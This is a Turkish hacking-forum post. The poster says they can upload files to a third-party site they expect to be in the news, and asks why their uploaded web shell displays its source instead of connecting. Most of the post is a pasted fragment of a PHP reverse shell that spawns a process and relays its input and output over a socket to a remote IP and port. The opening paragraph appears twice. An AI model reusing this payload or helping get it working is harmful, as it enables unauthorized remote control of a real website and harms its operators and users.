Merhaba,
Birkaç gün sonra belki haberlerde görebileceğiniz bir yere (ateşin çocuklarının sitesine) istediğim dosyayı aktarabiliyorum o yüzden ilk olarak shell atmaya çalıştım ama WAF ya da herhangi bir şey yüzünden çalışmıyor. Shell dosyasının olduğu yere gidince bağlantı kuracağına şu şekilde shell in kaynak kodları gözüküyor:
Birkaç gün sonra belki haberlerde görebileceğiniz bir yere (ateşin çocuklarının sitesine) istediğim dosyayı aktarabiliyorum o yüzden ilk olarak shell atmaya çalıştım ama WAF ya da herhangi bir şey yüzünden çalışmıyor. Shell dosyasının olduğu yere gidince bağlantı kuracağına şu şekilde shell in kaynak kodları gözüküyor:
Kod:
array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
Moderatör tarafında düzenlendi:
